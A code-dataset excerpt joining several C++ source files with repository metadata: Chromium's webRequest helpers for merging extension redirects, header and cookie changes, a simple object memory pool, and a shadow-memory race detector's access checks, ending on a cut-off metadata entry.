MergeRedirectUrlOfResponses() that allows ignoring // all redirects but those to data:// urls and about:blank. This is important // to treat these URLs as "cancel urls", i.e. URLs that extensions redirect // to if they want to express that they want to cancel a request. This reduces // the number of conflicts that we need to flag, as canceling is considered // a higher precedence operation that redirects. // Returns whether a redirect occurred. static bool MergeRedirectUrlOfResponsesHelper( const GURL& url, const EventResponseDeltas& deltas, GURL* new_url, IgnoredActions* ignored_actions, bool consider_only_cancel_scheme_urls) { // Redirecting WebSocket handshake request is prohibited. if (url.SchemeIsWSOrWSS()) return false; bool redirected = false; for (const auto& delta : deltas) { if (delta.new_url.is_empty()) continue; if (consider_only_cancel_scheme_urls && !delta.new_url.SchemeIs(url::kDataScheme) && delta.new_url.spec() != "about:blank") { continue; } if (!redirected || *new_url == delta.new_url) { *new_url = delta.new_url; redirected = true; } else { ignored_actions->emplace_back(delta.extension_id, web_request::IGNORED_ACTION_TYPE_REDIRECT); } } return redirected; } void MergeRedirectUrlOfResponses(const GURL& url, const EventResponseDeltas& deltas, GURL* new_url, IgnoredActions* ignored_actions) { // First handle only redirects to data:// URLs and about:blank. These are a // special case as they represent a way of cancelling a request. if (MergeRedirectUrlOfResponsesHelper(url, deltas, new_url, ignored_actions, true)) { // If any extension cancelled a request by redirecting to a data:// URL or // about:blank, we don't consider the other redirects. return; } // Handle all other redirects. MergeRedirectUrlOfResponsesHelper(url, deltas, new_url, ignored_actions, false); } void MergeOnBeforeRequestResponses(const GURL& url, const EventResponseDeltas& deltas, GURL* new_url, IgnoredActions* ignored_actions) { MergeRedirectUrlOfResponses(url, deltas, new_url, ignored_actions); } static bool DoesRequestCookieMatchFilter( const ParsedRequestCookie& cookie, const absl::optional<RequestCookie>& filter) { if (!filter.has_value()) return true; if (filter->name.has_value() && cookie.first != *filter->name) return false; if (filter->value.has_value() && cookie.second != *filter->value) return false; return true; } // Applies all CookieModificationType::ADD operations for request cookies of // |deltas| to |cookies|. Returns whether any cookie was added. static bool MergeAddRequestCookieModifications( const EventResponseDeltas& deltas, ParsedRequestCookies* cookies) { bool modified = false; // We assume here that the deltas are sorted in decreasing extension // precedence (i.e. decreasing extension installation time). for (const auto& delta : base::Reversed(deltas)) { const RequestCookieModifications& modifications = delta.request_cookie_modifications; for (auto mod = modifications.cbegin(); mod != modifications.cend(); ++mod) { if (mod->type != ADD || !mod->modification.has_value()) continue; if (!mod->modification->name.has_value() || !mod->modification->value.has_value()) continue; const std::string& new_name = *mod->modification->name; const std::string& new_value = *mod->modification->value; bool cookie_with_same_name_found = false; for (auto cookie = cookies->begin(); cookie != cookies->end() && !cookie_with_same_name_found; ++cookie) { if (cookie->first == new_name) { if (cookie->second != new_value) { cookie->second = new_value; modified = true; } cookie_with_same_name_found = true; } } if (!cookie_with_same_name_found) { cookies->emplace_back(new_name, new_value); modified = true; } } } return modified; } // Applies all CookieModificationType::EDIT operations for request cookies of // |deltas| to |cookies|. Returns whether any cookie was modified. static bool MergeEditRequestCookieModifications( const EventResponseDeltas& deltas, ParsedRequestCookies* cookies) { bool modified = false; // We assume here that the deltas are sorted in decreasing extension // precedence (i.e. decreasing extension installation time). for (const auto& delta : base::Reversed(deltas)) { const RequestCookieModifications& modifications = delta.request_cookie_modifications; for (auto mod = modifications.cbegin(); mod != modifications.cend(); ++mod) { if (mod->type != EDIT || !mod->modification.has_value()) continue; if (!mod->modification->value.has_value()) continue; const std::string& new_value = *mod->modification->value; const absl::optional<RequestCookie>& filter = mod->filter; for (auto cookie = cookies->begin(); cookie != cookies->end(); ++cookie) { if (!DoesRequestCookieMatchFilter(*cookie, filter)) continue; // If the edit operation tries to modify the cookie name, we just ignore // this. We only modify the cookie value. if (cookie->second != new_value) { cookie->second = new_value; modified = true; } } } } return modified; } // Applies all CookieModificationType::REMOVE operations for request cookies of // |deltas| to |cookies|. Returns whether any cookie was deleted. static bool MergeRemoveRequestCookieModifications( const EventResponseDeltas& deltas, ParsedRequestCookies* cookies) { bool modified = false; // We assume here that the deltas are sorted in decreasing extension // precedence (i.e. decreasing extension installation time). for (const auto& delta : base::Reversed(deltas)) { const RequestCookieModifications& modifications = delta.request_cookie_modifications; for (auto mod = modifications.cbegin(); mod != modifications.cend(); ++mod) { if (mod->type != REMOVE) continue; const absl::optional<RequestCookie>& filter = mod->filter; auto i = cookies->begin(); while (i != cookies->end()) { if (DoesRequestCookieMatchFilter(*i, filter)) { i = cookies->erase(i); modified = true; } else { ++i; } } } } return modified; } void MergeCookiesInOnBeforeSendHeadersResponses( const GURL& url, const EventResponseDeltas& deltas, net::HttpRequestHeaders* request_headers) { // Skip all work if there are no registered cookie modifications. bool cookie_modifications_exist = false; for (const auto& delta : deltas) { cookie_modifications_exist |= !delta.request_cookie_modifications.empty(); } if (!cookie_modifications_exist) return; // Parse old cookie line. std::string cookie_header; request_headers->GetHeader(net::HttpRequestHeaders::kCookie, &cookie_header); ParsedRequestCookies cookies; net::cookie_util::ParseRequestCookieLine(cookie_header, &cookies); // Modify cookies. bool modified = false; modified |= MergeAddRequestCookieModifications(deltas, &cookies); modified |= MergeEditRequestCookieModifications(deltas, &cookies); modified |= MergeRemoveRequestCookieModifications(deltas, &cookies); // Reassemble and store new cookie line. if (modified) { std::string new_cookie_header = net::cookie_util::SerializeRequestCookieLine(cookies); request_headers->SetHeader(net::HttpRequestHeaders::kCookie, new_cookie_header); } } void MergeOnBeforeSendHeadersResponses( const extensions::WebRequestInfo& request, const EventResponseDeltas& deltas, net::HttpRequestHeaders* request_headers, IgnoredActions* ignored_actions, std::set<std::string>* removed_headers, std::set<std::string>* set_headers, bool* request_headers_modified, std::vector<const DNRRequestAction*>* matched_dnr_actions) { DCHECK(request_headers_modified); DCHECK(removed_headers->empty()); DCHECK(set_headers->empty()); DCHECK(request.dnr_actions); DCHECK(matched_dnr_actions); *request_headers_modified = false; std::map<base::StringPiece, DNRHeaderAction> dnr_header_actions; for (const auto& action : *request.dnr_actions) { bool headers_modified_for_action = ModifyRequestHeadersForAction(request_headers, action, removed_headers, set_headers, &dnr_header_actions); *request_headers_modified |= headers_modified_for_action; if (headers_modified_for_action) matched_dnr_actions->push_back(&action); } // A strict subset of |removed_headers| consisting of headers removed by the // web request API. Used for metrics. // TODO(crbug.com/1098945): Use base::StringPiece to avoid copying header // names. std::set<std::string> web_request_removed_headers; // Subsets of |set_headers| consisting of headers modified by the web request // API. Split into a set for added headers and a set for overridden headers. std::set<std::string> web_request_overridden_headers; std::set<std::string> web_request_added_headers; // We assume here that the deltas are sorted in decreasing extension // precedence (i.e. decreasing extension installation time). for (const auto& delta : deltas) { if (delta.modified_request_headers.IsEmpty() && delta.deleted_request_headers.empty()) { continue; } // Check whether any modification affects a request header that // has been modified differently before. As deltas is sorted by decreasing // extension installation order, this takes care of precedence. bool extension_conflicts = false; { net::HttpRequestHeaders::Iterator modification( delta.modified_request_headers); while (modification.GetNext() && !extension_conflicts) { // This modification sets |key| to |value|. const std::string key = base::ToLowerASCII(modification.name()); const std::string& value = modification.value(); // We must not modify anything that was specified to be removed by the // Declarative Net Request API. Note that the actual header // modifications made by Declarative Net Request should be represented // in |removed_headers| and |set_headers|. auto iter = dnr_header_actions.find(key); if (iter != dnr_header_actions.end() && iter->second.header_info->operation == dnr_api::HEADER_OPERATION_REMOVE) { extension_conflicts = true; break; } // We must not modify anything that has been deleted before. if (base::Contains(*removed_headers, key)) { extension_conflicts = true; break; } // We must not modify anything that has been set to a *different* // value before. if (base::Contains(*set_headers, key)) { std::string current_value; if (!request_headers->GetHeader(key, &current_value) || current_value != value) { extension_conflicts = true; break; } } } } // Check whether any deletion affects a request header that has been // modified before. { for (const std::string& key : delta.deleted_request_headers) { if (base::Contains(*set_headers, base::ToLowerASCII(key))) { extension_conflicts = true; break; } } } // Now execute the modifications if there were no conflicts. if (!extension_conflicts) { // Populate |set_headers|, |overridden_headers| and |added_headers| and // perform the modifications. net::HttpRequestHeaders::Iterator modification( delta.modified_request_headers); while (modification.GetNext()) { std::string key = base::ToLowerASCII(modification.name()); if (!request_headers->HasHeader(key)) { web_request_added_headers.insert(key); } else if (!base::Contains(web_request_added_headers, key)) { // Note: |key| will only be present in |added_headers| if this is an // identical edit. web_request_overridden_headers.insert(key); } set_headers->insert(key); request_headers->SetHeader(key, modification.value()); } // Perform all deletions and record which keys were deleted. { for (const auto& header : delta.deleted_request_headers) { std::string lowercase_header = base::ToLowerASCII(header); request_headers->RemoveHeader(header); removed_headers->insert(lowercase_header); web_request_removed_headers.insert(lowercase_header); } } *request_headers_modified = true; } else { ignored_actions->emplace_back( delta.extension_id, web_request::IGNORED_ACTION_TYPE_REQUEST_HEADERS); } } auto record_request_headers = [](const std::set<std::string>& headers, void (*record_func)(RequestHeaderType)) { if (headers.empty()) { record_func(RequestHeaderType::kNone); return; } for (const auto& header : headers) RecordRequestHeader(header, record_func); }; // Some sanity checks. DCHECK(std::all_of(removed_headers->begin(), removed_headers->end(), IsStringLowerCaseASCII)); DCHECK(std::all_of(set_headers->begin(), set_headers->end(), IsStringLowerCaseASCII)); DCHECK(base::ranges::includes( *set_headers, base::STLSetUnion<std::set<std::string>>( web_request_added_headers, web_request_overridden_headers))); DCHECK(base::STLSetIntersection<std::set<std::string>>( web_request_added_headers, web_request_overridden_headers) .empty()); DCHECK(base::STLSetIntersection<std::set<std::string>>(*removed_headers, *set_headers) .empty()); DCHECK(base::ranges::includes(*removed_headers, web_request_removed_headers)); // Record request header removals, additions and modifications. record_request_headers(web_request_removed_headers, &RecordRequestHeaderRemoved); record_request_headers(web_request_added_headers, &RecordRequestHeaderAdded); record_request_headers(web_request_overridden_headers, &RecordRequestHeaderChanged); // Currently, conflicts are ignored while merging cookies. MergeCookiesInOnBeforeSendHeadersResponses(request.url, deltas, request_headers); } // Retrieves all cookies from |override_response_headers|. static ParsedResponseCookies GetResponseCookies( scoped_refptr<net::HttpResponseHeaders> override_response_headers) { ParsedResponseCookies result; size_t iter = 0; std::string value; while ( override_response_headers->EnumerateHeader(&iter, "Set-Cookie", &value)) { result.push_back(std::make_unique<net::ParsedCookie>(value)); } return result; } // Stores all |cookies| in |override_response_headers| deleting previously // existing cookie definitions. static void StoreResponseCookies( const ParsedResponseCookies& cookies, scoped_refptr<net::HttpResponseHeaders> override_response_headers) { override_response_headers->RemoveHeader("Set-Cookie"); for (const std::unique_ptr<net::ParsedCookie>& cookie : cookies) { override_response_headers->AddHeader("Set-Cookie", cookie->ToCookieLine()); } } // Modifies |cookie| according to |modification|. Each value that is set in // |modification| is applied to |cookie|. static bool ApplyResponseCookieModification(const ResponseCookie& modification, net::ParsedCookie* cookie) { bool modified = false; if (modification.name.has_value()) modified |= cookie->SetName(*modification.name); if (modification.value.has_value()) modified |= cookie->SetValue(*modification.value); if (modification.expires.has_value()) modified |= cookie->SetExpires(*modification.expires); if (modification.max_age.has_value()) modified |= cookie->SetMaxAge(base::NumberToString(*modification.max_age)); if (modification.domain.has_value()) modified |= cookie->SetDomain(*modification.domain); if (modification.path.has_value()) modified |= cookie->SetPath(*modification.path); if (modification.secure.has_value()) modified |= cookie->SetIsSecure(*modification.secure); if (modification.http_only.has_value()) modified |= cookie->SetIsHttpOnly(*modification.http_only); return modified; } static bool DoesResponseCookieMatchFilter( const net::ParsedCookie& cookie, const absl::optional<FilterResponseCookie>& filter) { if (!cookie.IsValid()) return false; if (!filter.has_value()) return true; if (filter->name && cookie.Name() != *filter->name) return false; if (filter->value && cookie.Value() != *filter->value) return false; if (filter->expires) { std::string actual_value = cookie.HasExpires() ? cookie.Expires() : std::string(); if (actual_value != *filter->expires) return false; } if (filter->max_age) { std::string actual_value = cookie.HasMaxAge() ? cookie.MaxAge() : std::string(); if (actual_value != base::NumberToString(*filter->max_age)) return false; } if (filter->domain) { std::string actual_value = cookie.HasDomain() ? cookie.Domain() : std::string(); if (actual_value != *filter->domain) return false; } if (filter->path) { std::string actual_value = cookie.HasPath() ? cookie.Path() : std::string(); if (actual_value != *filter->path) return false; } if (filter->secure && cookie.IsSecure() != *filter->secure) return false; if (filter->http_only && cookie.IsHttpOnly() != *filter->http_only) return false; if (filter->age_upper_bound || filter->age_lower_bound || (filter->session_cookie && *filter->session_cookie)) { int64_t seconds_to_expiry; bool lifetime_parsed = ParseCookieLifetime(cookie, &seconds_to_expiry); if (filter->age_upper_bound && seconds_to_expiry > *filter->age_upper_bound) return false; if (filter->age_lower_bound && seconds_to_expiry < *filter->age_lower_bound) return false; if (filter->session_cookie && *filter->session_cookie && lifetime_parsed) return false; } return true; } // Applies all CookieModificationType::ADD operations for response cookies of // |deltas| to |cookies|. Returns whether any cookie was added. static bool MergeAddResponseCookieModifications( const EventResponseDeltas& deltas, ParsedResponseCookies* cookies) { bool modified = false; // We assume here that the deltas are sorted in decreasing extension // precedence (i.e. decreasing extension installation time). for (const auto& delta : base::Reversed(deltas)) { const ResponseCookieModifications& modifications = delta.response_cookie_modifications; for (const auto& mod : modifications) { if (mod.type != ADD || !mod.modification.has_value()) continue; // Cookie names are not unique in response cookies so we always append // and never override. auto cookie = std::make_unique<net::ParsedCookie>(std::string()); ApplyResponseCookieModification(mod.modification.value(), cookie.get()); cookies->push_back(std::move(cookie)); modified = true; } } return modified; } // Applies all CookieModificationType::EDIT operations for response cookies of // |deltas| to |cookies|. Returns whether any cookie was modified. static bool MergeEditResponseCookieModifications( const EventResponseDeltas& deltas, ParsedResponseCookies* cookies) { bool modified = false; // We assume here that the deltas are sorted in decreasing extension // precedence (i.e. decreasing extension installation time). for (const auto& delta : base::Reversed(deltas)) { const ResponseCookieModifications& modifications = delta.response_cookie_modifications; for (const auto& mod : modifications) { if (mod.type != EDIT || !mod.modification.has_value()) continue; for (const std::unique_ptr<net::ParsedCookie>& cookie : *cookies) { if (DoesResponseCookieMatchFilter(*cookie.get(), mod.filter)) { modified |= ApplyResponseCookieModification(mod.modification.value(), cookie.get()); } } } } return modified; } // Applies all CookieModificationType::REMOVE operations for response cookies of // |deltas| to |cookies|. Returns whether any cookie was deleted. static bool MergeRemoveResponseCookieModifications( const EventResponseDeltas& deltas, ParsedResponseCookies* cookies) { bool modified = false; // We assume here that the deltas are sorted in decreasing extension // precedence (i.e. decreasing extension installation time). for (const auto& delta : base::Reversed(deltas)) { const ResponseCookieModifications& modifications = delta.response_cookie_modifications; for (auto mod = modifications.cbegin(); mod != modifications.cend(); ++mod) { if (mod->type != REMOVE) continue; auto i = cookies->begin(); while (i != cookies->end()) { if (DoesResponseCookieMatchFilter(*i->get(), mod->filter)) { i = cookies->erase(i); modified = true; } else { ++i; } } } } return modified; } void MergeCookiesInOnHeadersReceivedResponses( const GURL& url, const EventResponseDeltas& deltas, const net::HttpResponseHeaders* original_response_headers, scoped_refptr<net::HttpResponseHeaders>* override_response_headers) { // Skip all work if there are no registered cookie modifications. bool cookie_modifications_exist = false; for (const auto& delta : base::Reversed(deltas)) { cookie_modifications_exist |= !delta.response_cookie_modifications.empty(); } if (!cookie_modifications_exist) return; // Only create a copy if we really want to modify the response headers. if (override_response_headers->get() == NULL) { *override_response_headers = base::MakeRefCounted<net::HttpResponseHeaders>( original_response_headers->raw_headers()); } ParsedResponseCookies cookies = GetResponseCookies(*override_response_headers); bool modified = false; modified |= MergeAddResponseCookieModifications(deltas, &cookies); modified |= MergeEditResponseCookieModifications(deltas, &cookies); modified |= MergeRemoveResponseCookieModifications(deltas, &cookies); // Store new value. if (modified) StoreResponseCookies(cookies, *override_response_headers); } // Converts the key of the (key, value) pair to lower case. static ResponseHeader ToLowerCase(const ResponseHeader& header) { return ResponseHeader(base::ToLowerASCII(header.first), header.second); } void MergeOnHeadersReceivedResponses( const extensions::WebRequestInfo& request, const EventResponseDeltas& deltas, const net::HttpResponseHeaders* original_response_headers, scoped_refptr<net::HttpResponseHeaders>* override_response_headers, GURL* preserve_fragment_on_redirect_url, IgnoredActions* ignored_actions, bool* response_headers_modified, std::vector<const DNRRequestAction*>* matched_dnr_actions) { DCHECK(response_headers_modified); *response_headers_modified = false; DCHECK(request.dnr_actions); DCHECK(matched_dnr_actions); std::map<base::StringPiece, std::vector<DNRHeaderAction>> dnr_header_actions; for (const auto& action : *request.dnr_actions) { bool headers_modified_for_action = ModifyResponseHeadersForAction( original_response_headers, override_response_headers, action, &dnr_header_actions); *response_headers_modified |= headers_modified_for_action; if (headers_modified_for_action) matched_dnr_actions->push_back(&action); } // Here we collect which headers we have removed or added so far due to // extensions of higher precedence. Header keys are always stored as // lower case. std::set<ResponseHeader> removed_headers; std::set<ResponseHeader> added_headers; // We assume here that the deltas are sorted in decreasing extension // precedence (i.e. decreasing extension installation time). for (const auto& delta : deltas) { if (delta.added_response_headers.empty() && delta.deleted_response_headers.empty()) { continue; } // Only create a copy if we really want to modify the response headers. if (override_response_headers->get() == nullptr) { *override_response_headers = base::MakeRefCounted<net::HttpResponseHeaders>( original_response_headers->raw_headers()); } // We consider modifications as pairs of (delete, add) operations. // If a header is deleted twice by different extensions we assume that the // intention was to modify it to different values and consider this a // conflict. As deltas is sorted by decreasing extension installation order, // this takes care of precedence. bool extension_conflicts = false; for (const ResponseHeader& header : delta.deleted_response_headers) { ResponseHeader lowercase_header(ToLowerCase(header)); if (base::Contains(removed_headers, lowercase_header) || base::Contains(dnr_header_actions, lowercase_header.first)) { extension_conflicts = true; break; } } // Prevent extensions from adding any response header which was specified to // be removed or set by the Declarative Net Request API. However, multiple // appends are allowed. if (!extension_conflicts) { for (const ResponseHeader& header : delta.added_response_headers) { ResponseHeader lowercase_header(ToLowerCase(header)); auto it = dnr_header_actions.find(lowercase_header.first); if (it == dnr_header_actions.end()) continue; // Multiple appends are allowed. if (it->second[0].header_info->operation != dnr_api::HEADER_OPERATION_APPEND) { extension_conflicts = true; break; } } } // Now execute the modifications if there were no conflicts. if (!extension_conflicts) { // Delete headers { for (const ResponseHeader& header : delta.deleted_response_headers) { (*override_response_headers) ->RemoveHeaderLine(header.first, header.second); removed_headers.insert(ToLowerCase(header)); } } // Add headers. { for (const ResponseHeader& header : delta.added_response_headers) { ResponseHeader lowercase_header(ToLowerCase(header)); if (added_headers.find(lowercase_header) != added_headers.end()) continue; added_headers.insert(lowercase_header); (*override_response_headers)->AddHeader(header.first, header.second); } } *response_headers_modified = true; } else { ignored_actions->emplace_back( delta.extension_id, web_request::IGNORED_ACTION_TYPE_RESPONSE_HEADERS); } } // Currently, conflicts are ignored while merging cookies. MergeCookiesInOnHeadersReceivedResponses(request.url, deltas, original_response_headers, override_response_headers); GURL new_url; MergeRedirectUrlOfResponses(request.url, deltas, &new_url, ignored_actions); if (new_url.is_valid()) { // Only create a copy if we really want to modify the response headers. if (override_response_headers->get() == NULL) { *override_response_headers = base::MakeRefCounted<net::HttpResponseHeaders>( original_response_headers->raw_headers()); } (*override_response_headers)->ReplaceStatusLine("HTTP/1.1 302 Found"); (*override_response_headers)->SetHeader("Location", new_url.spec()); // Prevent the original URL's fragment from being added to the new URL. *preserve_fragment_on_redirect_url = new_url; } // Record metrics. { auto record_response_headers = [](const std::set<base::StringPiece>& headers, void (*record_func)(ResponseHeaderType)) { if (headers.empty()) { record_func(ResponseHeaderType::kNone); return; } for (const auto& header : headers) RecordResponseHeader(header, record_func); }; std::set<base::StringPiece> modified_header_names; std::set<base::StringPiece> added_header_names; std::set<base::StringPiece> removed_header_names; for (const ResponseHeader& header : added_headers) { // Skip logging this header if this was subsequently removed by an // extension. if (!override_response_headers->get()->HasHeader(header.first)) continue; if (original_response_headers->HasHeader(header.first)) modified_header_names.insert(header.first); else added_header_names.insert(header.first); } for (const ResponseHeader& header : removed_headers) { if (!override_response_headers->get()->HasHeader(header.first)) removed_header_names.insert(header.first); else modified_header_names.insert(header.first); } DCHECK(std::all_of(modified_header_names.begin(), modified_header_names.end(), IsStringLowerCaseASCII)); DCHECK(std::all_of(added_header_names.begin(), added_header_names.end(), IsStringLowerCaseASCII)); DCHECK(std::all_of(removed_header_names.begin(), removed_header_names.end(), IsStringLowerCaseASCII)); record_response_headers(modified_header_names, &RecordResponseHeaderChanged); record_response_headers(added_header_names, &RecordResponseHeaderAdded); record_response_headers(removed_header_names, &RecordResponseHeaderRemoved); } } bool MergeOnAuthRequiredResponses(const EventResponseDeltas& deltas, net::AuthCredentials* auth_credentials, IgnoredActions* ignored_actions) { CHECK(auth_credentials); bool credentials_set = false; for (const auto& delta : deltas) { if (!delta.auth_credentials.has_value()) continue; bool different = auth_credentials->username() != delta.auth_credentials->username() || auth_credentials->password() != delta.auth_credentials->password(); if (credentials_set && different) { ignored_actions->emplace_back( delta.extension_id, web_request::IGNORED_ACTION_TYPE_AUTH_CREDENTIALS); } else { *auth_credentials = *delta.auth_credentials; credentials_set = true; } } return credentials_set; } void ClearCacheOnNavigation() { if (content::BrowserThread::CurrentlyOn(content::BrowserThread::UI)) { ClearCacheOnNavigationOnUI(); } else { content::GetUIThreadTaskRunner({})->PostTask( FROM_HERE, base::BindOnce(&ClearCacheOnNavigationOnUI)); } } // Converts the |name|, |value| pair of a http header to a HttpHeaders // dictionary. std::unique_ptr<base::DictionaryValue> CreateHeaderDictionary( const std::string& name, const std::string& value) { auto header = std::make_unique<base::DictionaryValue>(); header->SetString(keys::kHeaderNameKey, name); if (base::IsStringUTF8(value)) { header->SetString(keys::kHeaderValueKey, value); } else { header->Set(keys::kHeaderBinaryValueKey, std::make_unique<base::Value>(StringToCharList(value))); } return header; } bool ShouldHideRequestHeader(content::BrowserContext* browser_context, int extra_info_spec, const std::string& name) { static constexpr auto kRequestHeaders = base::MakeFixedFlatSet<base::StringPiece>({"accept-encoding", "accept-language", "cookie", "origin", "referer"}); return !(extra_info_spec & ExtraInfoSpec::EXTRA_HEADERS) && base::Contains(kRequestHeaders, base::ToLowerASCII(name)); } bool ShouldHideResponseHeader(int extra_info_spec, const std::string& name) { return !(extra_info_spec & ExtraInfoSpec::EXTRA_HEADERS) && base::LowerCaseEqualsASCII(name, "set-cookie"); } bool ArePublicSessionRestrictionsEnabled() { #if BUILDFLAG(IS_CHROMEOS_ASH) return chromeos::LoginState::IsInitialized() && chromeos::LoginState::Get()->ArePublicSessionRestrictionsEnabled(); #elif BUILDFLAG(IS_CHROMEOS_LACROS) DCHECK(chromeos::LacrosService::Get()); return chromeos::LacrosService::Get()->init_params()->session_type == crosapi::mojom::SessionType::kPublicSession; #else return false; #endif } } // namespace extension_web_request_api_helpers
38.377765
80
0.692876
chromium
0e90229439f494fc42492a2ccb9a05b7dc714448
3,048
hpp
C++
include/nonstd/memory_pool.hpp
ortfero/mandalang
b6097dbbb2a16d474ea1a3064f2f66c9195601fc
[ "MIT" ]
null
null
null
include/nonstd/memory_pool.hpp
ortfero/mandalang
b6097dbbb2a16d474ea1a3064f2f66c9195601fc
[ "MIT" ]
null
null
null
include/nonstd/memory_pool.hpp
ortfero/mandalang
b6097dbbb2a16d474ea1a3064f2f66c9195601fc
[ "MIT" ]
null
null
null
#pragma once #include <forward_list> #include <memory> namespace nonstd { template<typename T> class memory_pool { public: using size_type = std::size_t; static constexpr auto default_page_size = 512u; private: union block { alignas(T) char space[sizeof(T)]; block* next; }; block* head_{nullptr}; size_type page_size_{default_page_size}; std::forward_list<std::unique_ptr<block[]>> pages_; public: memory_pool(size_type page_size = default_page_size) noexcept: page_size_{page_size} { } memory_pool(memory_pool const&) = delete; memory_pool& operator = (memory_pool const&) = delete; memory_pool(memory_pool&& other) noexcept: head_{other.head_}, page_size_{other.page_size_}, pages_{std::move(other.pages_)} { other.head_ = nullptr; } memory_pool& operator = (memory_pool&& other) noexcept { head_ = other.head_; other.head_ = nullptr; page_size_ = other.page_size_; pages_ = std::move(other.pages_); return *this; } ~memory_pool() { auto* each_block = head_; // construct all free blocks in current page while(each_block != nullptr) { auto* next_block = each_block->next; new(each_block->space) T; each_block = next_block; } // destruct all pages for(auto& each_page: pages_) { auto* begin = each_page.get(); auto* end = each_page.get() + page_size_; for(auto* each_block = begin; each_block != end; ++each_block) reinterpret_cast<T*>(each_block->space)->~T(); } } template<typename... Types> T* create(Types&&... arguments) { return new(allocate()) T(std::forward<Types>(arguments)...); } void destroy(T* object) noexcept { object->~T(); free(reinterpret_cast<block*>(object)); } private: char* allocate() { if(!head_) add_page(); char* block = head_->space; head_ = head_->next; return block; } void free(block* block) noexcept { block->next = head_; head_ = block; } void add_page() { auto new_page = std::make_unique<block[]>(page_size_); auto* begin = new_page.get(); auto* end = new_page.get() + page_size_ - 1; for(auto* each_block = begin; each_block != end; ++each_block) { each_block->next = (each_block + 1); } end->next = nullptr; head_ = begin; pages_.emplace_front(std::move(new_page)); } }; // memory_pool } // namespace nonstd
29.307692
97
0.510499
ortfero
0e903d5dfa173ae2acfe78e2c22179a26c7885a4
5,700
cpp
C++
rdtool/src/check_mem.cpp
wustl-pctg/f-order
0a8f56d715c142992640d63af8a017b63037c9c1
[ "MIT" ]
null
null
null
rdtool/src/check_mem.cpp
wustl-pctg/f-order
0a8f56d715c142992640d63af8a017b63037c9c1
[ "MIT" ]
null
null
null
rdtool/src/check_mem.cpp
wustl-pctg/f-order
0a8f56d715c142992640d63af8a017b63037c9c1
[ "MIT" ]
null
null
null
#include "check_mem.h" #include "mem_access.h" //#include "list.h" void print_num_of_readers(MemAccess_t *mem) { uint32_t counter = 0; while (mem != NULL) { counter++; mem = mem->next; } fprintf(stderr, "# of readers: %u\n", counter); } void report_race() { // to-do: report race here } void handle_write(MemAccessList_t* slot, addr_t rip, addr_t addr, size_t mem_size) { const int start = ADDR_TO_MEM_INDEX(addr); const int grains = SIZE_TO_NUM_GRAINS(mem_size); //assert(start >= 0 && start < NUM_SLOTS && (start + grains) <= NUM_SLOTS); assert(start >= 0); assert(start < NUM_SLOTS); // This may not be true, e.g. when start == 1... assert((start + grains) <= NUM_SLOTS); for (int i{start}; i < (start + grains); ++i) { //MemAccess_t *writer = slot->writers[i]; MemAccess_t *writer = slot->writers[i]; if(writer == NULL) { //writer = new MemAccess_t(current, rip); writer = new MemAccess_t(current, NULL); pthread_spin_lock(&slot->writers_lock); if(slot->writers[i] == NULL) { slot->writers[i] = writer; } pthread_spin_unlock(&slot->writers_lock); if(writer == slot->writers[i]) continue; else { // was NULL but some other logically parallel strand updated it delete writer; writer = slot->writers[i]; } } // At this point, someone else may come along and write into writers[i]... // om_assert(writer == writers[i]); om_assert(writer); // om_assert(writer->estrand != curr_estrand && // writer->hstrand != curr_hstrand); if (writer->accessor->english != current->english) { bool race = false; QUERY_START; race = !Precedes(writer->accessor, current); //&& !Precedes(current, writer->accessor); QUERY_END; if (race) report_race(); } pthread_spin_lock(&slot->writers_lock); // replace the last writer regardless //writers[i]->update_acc_info(curr_estrand, curr_hstrand, inst_addr); slot->writers[i]->accessor = current; //slot->writers[i]->rip = rip; pthread_spin_unlock(&slot->writers_lock); } // update readers //for (int i{start}; i < (start + grains); ++i) { // MemAccess_t *reader = slot->readers[i]; // if (reader) // new (reader) MemAccess_t{current, rip}; // else // slot->readers[i] = new MemAccess_t{current, rip}; //} for(int i = start; i < (start + grains); i++) { MemAccess_t *reader = slot->readers[i]; while (reader != NULL) { bool race = false; QUERY_START; race = !Precedes(reader->accessor, current); QUERY_END; if (race) report_race(); MemAccess_t *old = reader; reader = reader->next; delete old; // to-do: we could recycle this reader to thread-local pool } slot->readers[i] = NULL; } } void handle_read(MemAccessList_t* slot, addr_t rip, addr_t addr, size_t mem_size) { const int start = ADDR_TO_MEM_INDEX(addr); const int grains = SIZE_TO_NUM_GRAINS(mem_size); //assert(start >= 0 && start < NUM_SLOTS && (start + grains) <= NUM_SLOTS); assert(start >= 0); assert(start < NUM_SLOTS); // TODO: As far as I can tell, this may not be true, e.g. when start == 1... // Update: have not seen this in a while, I think something else was // wrong at the time. //if ((start + grains) > NUM_SLOTS) { // fprintf(stderr, "start=%i, grains=%i, NUM_SLOTS=%i, size=%zu\n", // start, grains, NUM_SLOTS, mem_size); //} assert((start + grains) <= NUM_SLOTS); for(int i = start; i < (start + grains); i++) { MemAccess_t *writer = slot->writers[i]; // can be NULL if (writer == NULL) continue; bool race = false; QUERY_START; race = !Precedes(writer->accessor, current); QUERY_END; if (race) report_race(); } for(int i = start; i < (start + grains); i++) { MemAccess_t *reader = slot->readers[i]; if(reader == NULL) { //reader = new MemAccess_t(current, rip); reader = new MemAccess_t(current, NULL); pthread_spin_lock(&slot->readers_lock); if (slot->readers[i] == NULL) { slot->readers[i] = reader; } pthread_spin_unlock(&slot->readers_lock); if (reader == slot->readers[i]) { continue; } else { //delete reader; //reader = slot->readers[i]; reader->next = slot->readers[i]; slot->readers[i] = reader; continue; } } om_assert(reader != NULL); pthread_spin_lock(&slot->readers_lock); // deduplication MemAccess_t *tmp = slot->readers[i]; bool allocated = false; while (tmp != NULL) { if (current == tmp->accessor) { //assert(current->english == tmp->accessor->english); allocated = true; break; } tmp = tmp->next; } if (!allocated) { slot->readers[i] = new MemAccess_t(current, reader); } //print_num_of_readers(slot->readers[i]); pthread_spin_unlock(&slot->readers_lock); } } void check_access(bool is_read, addr_t rip, addr_t addr, size_t mem_size) { auto slot = shadow_mem.find(ADDR_TO_KEY(addr)); //smem_data* current = active(); //assert(current); assert(current->english); if (slot == nullptr) { // not in shadow memory; create a new MemAccessList_t and insert MemAccessList_t *mem_list = new MemAccessList_t(addr, is_read, current, rip, mem_size); slot = shadow_mem.insert(ADDR_TO_KEY(addr), mem_list); if (slot != mem_list) { delete mem_list; } else { return; } } if (is_read) handle_read(slot, rip, addr, mem_size); else handle_write(slot, rip, addr, mem_size); }
29.081633
92
0.607895
wustl-pctg
0e91f4d7c8d303add464be9d61b35efbd8310885
214
hpp
C++
nacl/math/combinatorics/multinomial.hpp
ToxicPie/NaCl
8cb50bacc25f2b99a33fb5938ea4ec9906d8d65c
